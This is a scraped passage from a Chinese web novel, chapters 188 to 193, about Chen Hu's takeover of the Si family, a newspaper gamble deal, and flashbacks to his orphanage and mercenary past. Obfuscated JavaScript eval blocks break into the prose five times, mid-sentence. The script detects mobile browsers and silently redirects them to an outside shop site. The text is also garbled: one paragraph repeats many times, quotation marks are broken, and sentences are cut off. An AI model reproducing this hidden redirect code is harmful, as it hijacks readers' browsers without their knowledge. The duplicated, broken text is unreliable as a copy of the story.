一个黑衣保镖低声汇报额头上面渗出了细密的汗珠。 司老 爷子闻言,当即猛地抬头质问,眼神如鹰隼般锐利。 “怎么回事? “电话打不通,人也找不到,就像……人间蒸发了一样。 司老爷子闻言,重重地“哼了一声,手中的茶杯被他捏得咯咯作响。 “废物! 司老爷子一把就将茶杯摔在地上,碎片四溅。 “陈虎那小子,果然留了后手! 司老爷子随后在房间里面,来回踱步,眉头紧锁,口中不断大骂。 “他竟然敢威胁我! “他以为他是谁?! “一个泥腿子,也敢在太岁头上动土! 司老爷子越想越气,怒火几乎要将他给吞噬了。 “老爷,南北物流线上的货……被劫了。另一个保镖随后也战战兢兢地进来汇报。 “什么?!司老爷子听到这个消息,顿时大惊道:“什么时候的事情? “就……就在刚才,消息刚传回来。 司老爷子闻言,只觉得眼前一黑,差点没站稳。 “岂有此理! “岂有此理! 司老爷子一连说了两遍,语气之中充,满了愤怒和不甘。 “陈虎,你这是在找死! 第二天,坏消息接踵而至。 司家旗下的赌场、夜总会、KTV,几乎全部都被砸了。 甚至于连一些正规的产业,也都受到了波及。 司家上下,人心惶惶。 司家的家族议会上,气氛压抑得让人喘不过气。 各个产业的负责人,一个个都脸色惨白,如丧考妣。 “都说说吧!这到底是怎么回事!司老爷子坐在主位上,脸色铁青的质问。 “老爷子,我们的场子……全部都被砸了。一个肥头大耳的男人,哭丧着脸说道。 “我们的货……也被劫了。另一个瘦高个的男人,接着颤抖着声音说道。 “我们的生意……也全部都被搅黄了。又一个男人也跟着战战兢兢的说道。 …… 第188章 司家和狗,恕不接待! 司老爷子听着这些汇报,脸色越来越难看。 “陈虎!陈虎!” 司老爷子咬牙切齿地念着陈虎的名字,恨不得直接将陈虎碎尸万段。 司老爷子听着这些汇报,脸色越来越难看。 “陈虎!陈虎!” 司老爷子咬牙切齿地念着陈虎的名字,恨不得直接将陈虎碎尸万段。 司老爷子听着这些汇报,脸色越来越难看。 “陈虎!陈虎!” 司老爷子咬牙切齿地念着陈虎的名字,恨不得直接将陈虎碎尸万段。 司老爷子听着这些汇报,脸色越来越难看。 “陈虎!陈虎!” 司老爷子咬牙切齿地念着陈虎的名字,恨不得直接将陈虎碎尸万段。 司老爷子听着这些汇报,脸色越来越难看。 “陈虎!陈虎!” 司老爷子咬牙切齿地念着陈虎的名字,恨不得直接将陈虎碎尸万段。 司老爷子听着这些汇报,脸色越来越难看。 “陈虎!陈虎!” 司老爷子咬牙切齿地念着陈虎的名字,恨不得直接将陈虎碎尸万段。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588112|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司老爷子听着这些汇报,脸色越来越难看。 “陈虎!陈虎!” 司老爷子咬牙切齿地念着陈虎的名字,恨不得直接将陈虎碎尸万段。 司老爷子听着这些汇报,脸色越来越难看。 “陈虎!陈虎!” 司老爷子咬牙切齿地念着陈虎的名字,恨不得直接将陈虎碎尸万段。 司老爷子听着这些汇报,脸色越来越难看。 “陈虎!陈虎!” 司老爷子咬牙切齿地念着陈虎的名字,恨不得直接将陈虎碎尸万段。 第189章 那你就准备给你的全家收尸吧! 听到陈虎的警告,司老爷子艰难地咽了口唾沫。 “我……我答应你!” “很好!”陈虎站起身来,走到窗边,看着窗外不合时宜落下的瓢泼大雨。 “明天中午十二点之前,我要看到所有的手续。” “这只怕时间上面有些……紧凑?”司老爷子颤声说道。 陈虎转过身,眼神冰冷。 “那你就准备给你的全家收尸吧!” 司老爷子闻言,浑身一颤,他知道陈虎不是在开玩笑。 “我……我一定做到。” 陈虎闻言,点了点头,转身便离开了书房。 孙承恩随后立刻就笑着迎了上来。 “陈先生,都安排好了!” “嗯!”陈虎淡淡地应了一声,而后冷声命令道:“司家的人,一个都别放过!” “明白!” 孙承恩听到陈虎的话后,十分恭敬地回应。 陈虎没多看孙承恩一眼,便走出了司家大宅,此时,外面的雨还在下。 抬起头,陈虎看了看阴沉的天空,不由得深吸一口气。 “司家,结束了!” 呢喃着说完这一句,陈虎便转身离去,他的身影渐渐的消失在雨幕之中。 司老爷子此时已经瘫坐在椅子上,仿佛一瞬间老了二十岁。 他看着空荡荡的书房,眼神空洞。 “完了……一切都完了……” 司老爷子喃喃自语,声音充满了绝望。 司家大宅内,警察们正在忙碌地搜查。 每一个角落,都不放过。 司家一众人全部都被控制起来,他们一个个脸色惨白,瑟瑟发抖。 而这一切的始作俑者,正是那个他们曾经不屑一顾的年轻人——陈虎。 雨夜,马关口县城的街道上。 陈虎坐在车里,看着窗外闪烁的霓虹灯。 他的脸上,没有一丝胜利的喜悦。 他知道,这只是开始。 他还有很长的路要走。 马关口,仅仅只是一个开始罢了! 次日正午。 “虎哥!就是这里了!” 包专推开马关口一家新租下的办公室大门,语气 里面带着掩不住的兴奋。 “地方不错!” 陈虎走了一圈,站在落地窗前,俯瞰着脚下车水马龙的街道,手里夹着一支烟,袅袅青烟模糊了他棱角分明的脸。 “都是按您吩咐的,选得最好的地段,最气派的装修!” 包专搓着手,满脸堆笑,像条摇着尾巴的忠犬。 “坐!”陈虎指了指办公室内的沙发。 包专闻言,小心翼翼地坐下,但他的屁股只沾了沙发边儿。 “虎哥,司家的事儿……”包专犹豫了一下,还是忍不住开口询问。 “怎么了?”陈虎吐出一口烟圈,眼神锐利地扫向包专。 “您……您就这么放过他们了?”包专的声音越来越小,几乎听不见。 “放?”陈虎闻言,冷笑一声道:“我只是暂时没动他们而已!” 包专闻言,愣住了,不明白陈虎的意思。 “斩草除根,固然痛快!”陈虎走到办公桌前,拿起一份文件翻看着,十分认真的说道:“但也会留下很多后患!” “后患?”包专闻言,更疑惑了。 “司家在县城根深蒂固,盘根错节!”陈虎语气平静,却带着一股不容置疑的威严道:“彻底铲除他们,会引起巨大的动荡,到时候,不知道有多少人会跳出来趁火打劫!” 包专听到陈虎对于不彻底铲除司家的解释后,似懂非懂地点了点头。 “留下司家,虽然也是个隐患,但至少,这个隐患是我可以控制的!” “两害相权取其轻!”陈虎这时候合上了文件,眼神之中,闪过一丝精光道:“我更喜欢把主动权掌握在自己的手里!” 包专闻言,这才恍然大悟,忍不住拍起了马屁道:“虎哥高明!还是您看得远!” 陈虎没有理会包专的奉承,继续说道:“司家现在就像一条被拔了牙的老虎,不足为惧!” “他们现在所有的产业,都在我的掌控之中。”陈虎的语气之中,带着深深的冷漠道:“我要让他们活着,看着我一步步的壮大,看着他们曾经的辉煌,变成我的囊中之物!” 包专在一旁听得热血沸腾,仿佛看到了陈虎君临天下的那一天。 “虎哥,您是要建立一个……一个……”包 专说话的时候都激动得有些语无伦次了。 “地下王国!”陈虎接过包专的话眼神之中充满了野心和霸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600063|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 “我要让整个马关口都在我的掌控之下!”陈虎的声音掷地有声在空旷的办公室里回荡。 包专闻言激动地站起身大声喊道:“虎哥威武!” 陈虎看着窗外眼神深邃。 “别急着拍马屁了!去给我找县城的那家报社让他们开个价就说我打算买下报社当然别急着和他还价或者答应约个时间地点我要见见这家报社的老板!” 包专听到陈虎的命令急忙应下而后想到了什么有些忐忑的出声问道:“虎哥这事儿……不是我多嘴您那边工地动工马关口刚整顿完也收不上份子钱买下报社的钱我该……” 陈虎闻言直接摆了摆手一脸淡然道:“这些不用你操心!你尽管去约人就是!” 包专听到陈虎这话当即不再多言连声称是而后快步离开。 当天傍晚华灯初上。 “虎哥人来了!” 包专弓着腰在包厢门口低声说道。 陈虎闻言点了点头然后弹了弹手上香烟的烟灰。 包厢门被推开 “毛老板久仰大名!” 陈虎起身脸上带着一丝笑意。 毛凯皮闻言笑肉不笑地点了点头道:“陈先生幸会!” “坐!”陈虎指了指对面的椅子。 毛凯坐下后就开门见山地说道:“陈先生我今天来是想告诉你我的报社不会卖的!” 陈虎听到毛凯这话不由得笑了笑:“毛老板任何东西都有一个价你不卖只不过是因为价格不合适。” 说完陈虎就伸出一根手指道:“十万!” 毛凯闻言面不改色。 “二十万!”陈虎随即又伸出一根手指将他的两根手指放在毛凯道。 毛凯听到陈虎加价后整个人依旧不动声色。 “三十万!”陈虎也并未在意只是接着再度伸出了他的一根手指在毛凯的面前展现出三根手指继续加价。 毛凯听到陈虎又一次加价的价格脸色顿时就变了连呼吸都开始变得急促起来。 而毛凯变化的神态很快便被陈虎捕捉到了他的嘴角不由得露出一丝略带嘲讽的冷笑。 一切尽在陈虎的掌控之中。 随后陈虎又当着毛凯的面又一次伸出了一根手指十分霸气地将他的四根手指展现在毛凯的面前再次加价。 “四十万!” …… 第190章 对赌协议 面对陈虎的再一次加价,毛凯的喉结动了动,眼神之中,闪过一丝挣扎。 在这个年代,四十万,对一个小县城的报社老板来说,无疑是一个天文数字。 看着毛凯的样子,陈虎的嘴角微微上扬,他知道,他的鱼儿快要上钩了。 “不过……”突然,陈虎话锋一转。 毛凯的心,一下子就提到了嗓子眼。 “我打算和你签一个对赌协议。” “对赌协议?”毛凯闻言,不由得皱起了眉头道:“这是什么玩意儿。” 对于毛凯而言,未来经常出现的收购对赌协议,在他的认知之中,还是个未知事物。 “三个月!”陈虎随后又竖起三根手指道:“三个月的时间内,我要让这份报纸的销量,提升百分之三百。” 毛凯闻言,当即就愣住了,他没有想到陈虎会提出这样的条件。 一个四十万人口的小县城,报纸销量提升百分之三百?这简直就是天方夜谭! “如果我做不到,那我就用现金收购你的报社。这四十万,一分不少,全部归你!”陈虎语气平静,却带着一股强大的自信。 “如果你做到了呢?”毛凯随后试探性地问道。 “那我之后将不花任何钱,直接占股报社百分之五十一的股份,并拿到报社的经营权。而我的股权分红,是在我得到股份开始算起。”陈虎淡淡地说道。 毛凯闻言,顿时就沉默了,他在权衡利弊,陈虎开出的条件,对于他来说,似乎是一个稳赚不赔的买卖。 四十万,对他来说,是一个巨大的诱惑。 并且,即便陈虎赢了,那么尽管他白白要让出百分之五十一的股份给陈虎,并且把报社经营权丢出去,但在报社销量提高百分之三百的情况下,他也是在变相的增加了盈利。 而这部分盈利,是包括陈虎经营三个月内销量飞速增长的所有盈利,以及之后陈虎得到股份和报社经营权的长久盈利,数目也绝对不会少的。 如果陈虎真的能完成他所说的盈利的话,那他好像怎么算都不亏。 当然,如果陈虎完成的话,那很明显,陈虎得到的收益更多。 毕竟,那样的话,就相当于陈虎空手套白狼,从他这里,得到了报社百分 之五十一的股份还有报社经营权。 想到这里毛凯内心就充满了好奇陈虎到底从哪儿的自信敢提出这样的对赌? 在毛凯看来既然陈虎提出了这个对赌协议那陈虎就肯定没有想过真的用四十万买他的报社就是想用这对赌协议白嫖他的报社股份和经营权的。 与此同时陈虎见毛凯沉默便加了把力诱惑催促起毛凯来了。 “毛老板机会只有一次。” 陈虎的声音如同恶魔的低语在毛凯的耳边回荡。 “好!” 毛凯想了想最终深吸一口气十分痛快地答应了陈虎的条件。 见毛凯答应陈虎直接拿起酒杯对着毛凯说道:“合作愉快!” 毛凯闻言勉强挤出一丝笑容与陈虎碰杯。 离开酒楼之后包专驾车带着陈虎到了酒店休息。 “虎哥这报社的事情算是成了!”包专搓着手语气里面带着一丝兴奋。 “嗯。”陈虎闻言点了点头指尖轻弹烟灰落入烟灰缸中一缕青烟袅袅升起。 “接下来就是招人的事情了。”陈虎吐出一口烟圈眼神锐利。 “虎哥您说要招多少人?”包专连忙问道。 “工地施工上再招一千人!或者招标找施工队来外包你看着来我需要同时动工三个工地三个月内上河村将成为马关口最大的工业区。”陈虎语气平淡却带着不容置疑的威严。 包专闻言当即就愣了一下一千人? 这可不是个小数目! “三个厂子每个厂子三千人!”陈虎继续说道。 包专听到陈虎这话不由得倒吸一口凉气九千人? 再加上工地的一千人那就是一万人! 这简直就是一个小型军队! “虎哥这么多人 “招不到就去隔壁县隔壁市招总能够招到的。”陈虎语气坚定仿佛一切都在他的掌控之中。 “是!虎哥!” 包专不敢再多言连忙应道。 “成立一个人力资源部门你负责!”陈虎随后吩咐道。 “我?”包专闻言不 由得指着他自己,有些不敢相信。 “对!就是你!陈虎看着包专,十分肯定地点了点头。 “虎哥,我……我没干过这活儿啊!包专此时有些忐忑。 “不会就去学,谁他妈天生就会?陈虎语气之中,略带了些不耐烦。 包专闻言,不由得缩了缩脖子,不敢再反驳。 “薪酬待遇,你去做个调研。 “是!虎哥!包专连忙点头。 “按照最高规格给!陈虎想了什么,之后又补充了一句。 包专闻言,再次愣住,最高规格? “虎哥,这……这不太合适吧?包专小心翼翼地问道。 “怎么不合适?陈虎闻言,挑眉反问。 “咱们县城,工资水平……包专想解释,却直接被陈虎打断。 “我他妈说了,最高规格,你听不懂人话吗?陈虎此时语气冰冷。 包专闻言,直接吓得一哆嗦,但他还是觉得陈虎不该给最高规格的待遇,不由得小声嘀咕道:“现在到处都是人,随便给点钱就有人来干活,没必要…… 陈虎听到包专的嘀咕,顿时猛地一拍桌子,直接就吓了包专一跳。 “老子就是要最高规格,你他妈有意见?陈虎怒视着包专,大喝。 包专见状,连忙摇头,冷汗直流。 “老子就是要让所有人都知道,跟着老子干,有肉吃!陈虎语气霸道,带着一股舍我其谁的霸气。 包专闻言,又再次愣住了,但却不敢过多质疑。 当然,包专此时也为陈虎的魄力,而感到震惊。 “是!虎哥,我明白了! 回过神来,包专语气坚定的回应陈虎,眼神之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600064|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,充满了敬佩。 这件事情,若是完全依照陈虎的意思敲定下来,届时只怕整个马关口的人,都会称颂陈虎是位“大善人了! 毕竟,这年景吃不饱饭的人,大把的是。 更遑论陈虎给出这般多就业岗位的同时,还打算给最高规格待遇? 陈虎随后却是没有再理会包专的震惊,又自顾自地弹了弹烟灰。 “你以为我疯了?陈虎语气淡漠,仿佛在说一件无关紧要的事情。 包专闻言 “任何一个企业如果将目光狭窄到克扣、剥削下层……”陈虎顿了顿眼神锐利地扫视着包专。 感受到陈虎的目光包专当即就被陈虎眼神看得心里发毛下意识地挺直了腰板。 “……特别是一个蓝海市场如此那经营者必然是脑袋坏了企业也不可能长远。”陈虎语气平静却带着一股不容置疑的肯定。 包专似懂非懂地点了点头努力消化着陈虎的话。 “做成本管理应该是红海市场该做的……”陈虎继续说道语气之中带着一丝不屑。 “哪怕以后有了强力竞争但只要有优质的人才并且让他们有稳定高薪的工作那产业才会在各种竞争中走得更长远。”陈虎说到这里却是加重了语气明显是在强调这句话的重要性。 包专在一旁听得一愣一愣的这些词他好像在哪儿听过但又说不上来。 “纠结蝇头小利非明智之举甚至于可以说愚蠢至极。”陈虎语气之中带着一丝嘲讽仿佛在嘲笑那些目光短浅的人。 包专听得云里雾里但还是拼命地点头生怕陈虎看出他的不解。 陈虎看着包专的这副模样无奈地叹了口气。 这小子脑子还是不够用啊! “你想想现在到处都是人随便给点钱就有人来干活这是为什么?”陈虎随后循循善诱地询问包专。 想了想包专小心翼翼地回答道:“因为……因为没工作?” “没错!”陈虎打了个响指肯定了包专的回答。 “但这些人都是什么人?”陈虎继续问道。 包专想了想回答道:“都是些……没啥本事的人!” “对!”陈虎再次肯定了包专的回答。 “我给你高工资高待遇这能够吸引来什么人?”陈虎接着引导着包专思考。 包专闻言愣了一下随即眼睛一亮连忙说道:“能吸引来……有本事的人!” “没错!”陈虎闻言满意地点了点头。 “有本事的人能创造更大的价值懂吗?”陈虎看着包专眼神之中带着一丝期待。 包专似懂非懂地点了点头感觉他好像抓住了一点什么却又不是很清晰。 陈虎随后也不再多说他知道包专需要时间去消化这些东西。 “记住我要的是速度!也是质量!”陈虎随后十分认真嗯命令包专语气之中充满了不容置疑。 “是!虎哥我明白了!”包专语气坚定眼神之中充满了敬佩和一丝恍然。 此时此刻包专经历陈虎的一连串教育似乎终于明白陈虎的用意了。 第191章 我要成为强者,再也不用为了生存而卑躬屈膝 在和包专交代完他要做的诸多事情之后,陈虎也就没心思再继续留在县城里面了,他当晚就驱车,赶回上河村。 陈虎猛踩油门,吉普车像离弦的箭一样冲了出去。 夜色笼罩着上河村,好几盏昏黄的灯光在夜风之中摇曳。 陈虎远远地就看到从自家屋里透出的灯光,心里面顿时就涌起了一股暖意。 推开院门,陈真和陈瑶这两个小家伙的欢快的叫声,就传来了。 “哥!你回来啦!” 杨蓉随后也从厨房里面探出头来,脸上满是笑容。 “虎子回来了啊!来!快洗手吃饭吧!” 桌上摆满了菜,都是陈虎爱吃的。 “妈,我吃过了!” 陈虎嘴上这么说,却还是坐了下来,拿起筷子,夹了一块红烧肉。 “外面的饭哪有家里的饭菜香啊?”杨蓉看着陈虎狼吞虎咽的样子,十分欣慰地笑道:“慢点吃!没人跟你抢!” 陈真和陈瑶这两个小家伙,此时就围在陈虎身边,叽叽喳喳地说着学校里面的趣事。 陈虎一边听着,一边给他们夹菜。 “期末考试考得好,哥给你们一人买一辆自行车!” 听到陈虎的话,陈真和陈瑶的眼睛,顿时就亮了起来。 “真的吗?哥!” “当然是真的!”陈虎笑着揉了揉他们的脑袋。 “一言为定!” 陈真和陈瑶两人兴奋地击掌,他们凝重对新自行车,充满了期待。 杨蓉看着这一幕后,眼中满是慈爱。 她知道,儿子变了,变得更加成熟稳重,也更加有担当。 陈虎吃完饭后,就陪着杨蓉聊了一会儿家常。 “妈,你放心!我一定会让咱们家过上好日子的!” 杨蓉闻言,不由得拍了拍陈虎的手,眼中充满了信任。 “妈相信你!” 夜深了,陈虎躺在床上,却怎么也睡不着。 他想起前世在战场上出生入死的日子,想起重生后的种种经历。 很多时候,“命运”这个词,玄之又玄,难以捉摸,却又不偏不倚的仿佛给人划上了一条既定的路,等着命运笼罩下的人涉足,而后就顺着既定的路 走下去。 思绪恍惚间陈虎好像看到了前世那处福利院。 陈虎的意识逐渐飘远回到了那个充满苦涩回忆的地方——阳光福利院。 与其说是福利院不如说是一个大型的弃儿收容所。 斑驳的墙壁阴暗的走廊空气之中弥漫着消毒水和霉味像一只无形的手紧紧扼住陈虎的喉咙。 福利院的孩子很多密密麻麻的挤在大通铺上像一堆被遗弃的破布娃娃。 夜晚此起彼伏的哭喊声像潮水般涌来拍打着陈虎幼小的心灵。 陈虎常常被吵得无法入睡只能睁着眼睛呆呆的看着天花板数着上面并不存在的星星。 这里的孩子们大多数都性格孤僻眼神空洞仿佛对一切都失去了希望。 经济不景气福利院的经费捉襟见肘孩子们长期营养不良一个个面黄肌瘦肚子总是饿得咕咕叫。 半夜饥饿的折磨比哭声更让人难以忍受它像一条毒蛇啃噬着孩子们本就脆弱的神经。 “别抢我的!这是我的!” 尖锐的叫喊声划破了夜晚的宁静。 一个瘦弱的孩子 “给我!” 高壮的孩子一把就夺过馒头然后直接塞进嘴里得意地扬起了下巴。 类似的场景几乎每天都在上演。 为了争夺一口吃的孩子们之间充满了敌意弱肉强食的丛林法则在这里体现得淋漓尽致。 陈虎也曾为了一个馊掉的包子和别人打得头破血流。 衣服下肋骨清晰可见上面布满了淤青和伤痕那是他为了生存而付出的代价。 在那个资源匮乏的年代人性的阴暗面被无限地放大孩子们如同困兽般挣扎求生而陈虎只是这群可怜虫中的一个。 陈虎默默忍受着这一切内心深处一颗名为“野心”的种子正在悄然萌发。 陈虎蜷缩在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600065|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角落里面紧紧抱着他瘦弱的身体。 他感到一阵深入骨髓的寒冷不仅仅是身体上的更是心灵上的。 他渴望温暖渴望关爱渴望一个可以依靠的港湾。 ‘总有一天我要离开这里!’陈虎那时候便在心里默默发誓:‘我要成为强者再也不用为了生存而卑躬屈膝!’ 童年的苦难经历在陈虎的心中留下了深深的烙印。 他明白在这个弱肉强食的世界只有拥有强大的力量才能够掌握自己的命运。 福利院的生活对于陈虎来说只是苦难的开端远非终点。 陈虎离开福利院之后便开始了快两年时间的流浪生涯。 他睡过桥洞捡过垃圾尝尽了人间的冷暖。 为了生存 街头巷尾的斗殴成了他家常便饭。 每一次搏斗都是为了活下去。 在一次混战之中他被九头蛇组织的人看中。 对于陈虎来说加入九头蛇组织或许是摆脱他当时困境的唯一机会。 九头蛇组织的训练基地位于一片荒无人烟的戈壁滩。 这里是人间地狱! 每天清晨天还没亮刺耳的哨声就会划破寂静。 包括陈虎在内的新成员们全部都必须在规定时间内完成一系列高强度的体能训练。 野地穿越特种地形生存各类野战、实战理论课程负重越野…… 每一个项目都挑战着他们的极限。 训练场上随处可见汗水和鲜血。 教官们冷酷无情如同野兽般咆哮着督促着他们前进。 稍有懈怠就会遭到严厉的惩罚。 “快!再快!” “你们是废物吗?” “不想死的就全部都给我动起来!” …… 教官的怒吼声在训练场上回荡。 陈虎和一群来自世界各地的年轻人被编入同一批次的训练队伍。 他们年龄相仿却有着不同的背景和经历。 但在这里他们只有一个共同的目标:活下去! 第192章 我怎么可能会对生命有敬畏? 九头蛇组织的训练,残酷而高效。 他们学习各种格斗技巧,武器使用,以及生存技能。 他们被训练成冷血无情的杀人机器。 每天,都有人因为无法承受训练强度而倒下。 有人受伤,有人死亡。 陈虎亲眼目睹着他的同伴们,一个个的离去。 他们的尸体,被草草的掩埋在戈壁滩上。 没有人会记住他们的名字。 只有风沙,会默默地诉说着他们的故事。 三个月的残酷训练结束后,同一批次的新成员,存活率不足百分之七十。 陈虎凭借着顽强的毅力和求生的本能,最后活了下来。 他变得更加强壮,更加冷酷。 他的眼神之中,充满了野性与杀气。 他知道,他已经不再是那个任人欺凌的福利院男孩。 他成为了一个真正的战士。 一个为了生存,可以不择手段的战士。 陈虎的思绪,再度恍惚。 夕阳的余晖洒在孤岛的沙滩上,染红了半边天。 海风带着咸腥味,轻轻拂过脸庞。 记忆的闸门,缓缓打开,回到了那次护送任务里。 陈虎陷落在那处孤岛上。 易天行,那个神秘而博学的怪老头,正坐在一块礁石上,望着漫天星辰。 “陈虎!”易天行的声音低沉而沙哑,带着一丝难以察觉的颤抖,询问道:“你身为雇佣兵,执行任务时应该双手沾满了鲜血吧?” 陈虎闻言,沉默了片刻,眼神之中,闪过一丝不易察觉的寒光。 “是!” “你没有因为双手沾满鲜血而愧疚?或是整夜梦魇?”易天行追问,目光灼灼地盯着陈虎。 陈虎闻言,嗤笑一声,语气之中,带着一丝嘲讽。 “愧疚?梦魇?” “我年幼时,父母因为无力为生,将我送到福利院,然后吃毒饺子离去。” “在福利院待了没多久,我又四处颠沛流离。” “接着,我便进入了九头蛇这个视人命如草芥的组织。” “我怎么可能会对生命有敬畏?” 陈虎语气冰冷的反问,仿佛在诉说着一 个与他无关的故事。 易天行听着陈虎的反问,反倒是莫名的笑出了声。 而他的笑声之中,却是带着一丝无奈,一丝苦涩。 “你说得没错!” “敬畏生命?呵……” 易天行抬头望向星空,眼神迷离。 “我少年时,为了一个关乎前程的机会,机缘巧合的误杀了一个同事。” “这件事情,困扰到我到如今。” 易天行的语气变得低沉,仿佛陷入了回忆的漩涡。 陈虎静静地听着,没有打断。 “可实际上,我在A国为了完成自己的计划,尽管初衷与理想是伟大的……” 易天行顿了顿,语气之中,带着一丝自嘲。 “却因为他,死伤了无数人。” “可我却毫不愧疚!” 易天行的脸上,随后露出了一个古怪的表情,像是哭,又像是笑。 “果然,人为了所谓信仰,能够抛弃许多东西!” “甚至于一再欺骗自己。” 易天行说到这里,苦笑一声,摇了摇头。 陈虎看着易天行,眼神复杂。 他第一次看到这个老家伙有如此脆弱的一面。 海风呼啸,卷起阵阵浪花。 夕阳彻底沉入海平面,夜幕降临。 孤岛上,陷入了一片寂静。 只有海浪拍打礁石的声音,和陈虎、易天行二人沉重的呼吸声。 “你知道《动物庄园》吗?”易天行突然询问陈虎,语气里面,带着一丝莫名的意味。 陈虎闻言,摇了摇头。 他没读过什么书,自然不会知道? “一群动物,推翻了农场主人的统治。”易天行缓缓说道,目光似乎穿透了眼前的黑暗,看到了遥远的过去。 “猪是这场革命的领导者。” “它们宣扬平等,自由,博爱。” “所有的动物都深信不疑。” “它们赶走了农场主,建立了属于自己的动物农场。” “起初,一切都很美好。” “动物们齐心协力,共同劳动。” “没有压迫,没有剥削。” “它们都相信,一个新的时代来临 了。 易天行这时候停顿了一下,像是陷入了回忆,又像是在组织语言。 “猪,因为聪明,逐渐掌握了农场的管理权。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607687|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “它们制定了七诫,作为动物农场的最高准则。 “其中最重要的一条就是:所有动物都是平等的。 易天行说到这里,语气中带着一丝嘲讽。 “可是,渐渐地,猪开始享受特权。 “它们先是以脑力劳动为由,霸占了牛奶和苹果。 “后来,它们又搬进了农场主的房子里面居住。 “它们开始用两条腿走路,穿衣服,喝酒,甚至于与人类交易。 易天行的声音越来越低沉,仿佛在诉说着一个令人心碎的故事。 “其它的动物,像马,像羊,像鸡,它们日复一日地辛勤劳作。 “却食不果腹,衣不蔽体。 “它们渐渐忘记了当初革命的理想。 “它们只知道,猪是它们的领导,它们必须服从。 易天行此时苦笑一声。 “七诫也被一条条地修改。 “最后,只剩下了一条:所有动物都是平等的,但有些动物比其他动物更平等。 易天行这时候抬头看着星空,眼神迷茫。 “你看,多么讽刺! “它们推翻了旧的压迫者,却成为了新的压迫者。 “它们曾经追求的平等,自由,博爱,最终都变成了一个笑话。 陈虎静静地听着,眼神闪烁。 他虽然没读过书,但也听懂了易天行所讲的故事里面的含义。 “所以,你对信仰破灭了?陈虎问易天行道,语气之中,带着一丝探究。 易天行闻言,沉默了片刻,然后缓缓说道:“不是破灭,而是看透了! “信仰,从来都不是一成不变的。 “它会随着时间,随着环境,随着人性的变化而改变。 “就像动物庄园里面的猪一样。 “它们最初的信仰或许是真诚的。 “但权力,欲望,最终腐蚀了它们。 易天行说到这里,叹了口气,语气之中,带着一丝无奈。 “人性,本就是如此! “自私,贪婪,是刻在人性骨子里面的东西。 “即使是再伟大的理想,也无法改变。 陈虎闻言,细细思索着易天行的话。 他看着易天行,眼神复杂。 这一刻,陈虎突然觉得,易天行这个老家伙,比他想象的要深谋远虑得多! 第193章 人只能看得到自己的眼前! 海风呼啸,卷起阵阵浪花。 夜幕笼罩着孤岛,也笼罩着陈虎和易天行这两个男人的心。 “那你呢?”易天行突然目光灼灼地盯着陈虎,问道:“你的信仰是什么?” 陈虎闻言,随后愣了一下,然后缓缓说道:“我的信仰,就是成为强者。” “只有成为强者,才能够掌控自己的命运。” “只有成为强者,才能够保护自己想要保护的人。” 易天行看着陈虎,眼神之中,闪过了一丝不易察觉的赞赏。 “强者?” “你认为,成为强者,就能够改变一切吗?” 陈虎闻言,没有回答。 他不知道答案。 但他知道,他必须成为强者。 这是他活下去的唯一动力。 也是他唯一的信仰。 海浪拍打着礁石,发出阵阵轰鸣。 第二天清晨,阳光透过窗帘的缝隙,在地板上面投下了斑驳的光影。 陈虎从睡梦之中醒来,伸了个懒腰,还没来得及下床,就听到了敲门声。 “进来!”陈虎随即说道。 房门打开,孙若薇走了进来。 她今天穿着一件白色的连衣裙,显得格外清纯动人。 “这么早?”陈虎看到孙若薇有些意外。 